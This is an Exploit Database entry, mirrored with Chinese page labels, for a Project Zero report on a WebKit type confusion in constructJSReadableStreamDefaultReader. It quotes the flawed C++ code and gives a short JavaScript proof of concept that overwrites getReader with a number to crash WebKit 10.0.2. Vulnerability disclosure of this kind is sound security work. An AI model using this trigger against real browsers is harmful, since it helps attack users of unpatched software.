Apple WebKit 10.0.2 (12602.3.12.0.1, r210800) – ‘constructJSReadableStreamDefaultReader’ Type Confusion

• Exploit Database
• 119 阅读

• 作者： Google Security Research
  日期： 2017-04-04
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/41803/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

  <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1085   EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec) { VM& vm = exec.vm(); auto scope = DECLARE_THROW_SCOPE(vm);   JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0)); if (!stream) return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");   JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1   CallData callData; CallType callType = getCallData(jsFunction, callData); MarkedArgumentBuffer noArguments; return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments)); }   It doesn&apos;t check whether |getReader| is callable or not.   PoC: -->   let rs = new ReadableStream(); let cons = rs.getReader().constructor;   rs.getReader = 0x12345; new cons(rs);   <!-- Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, r210800) -->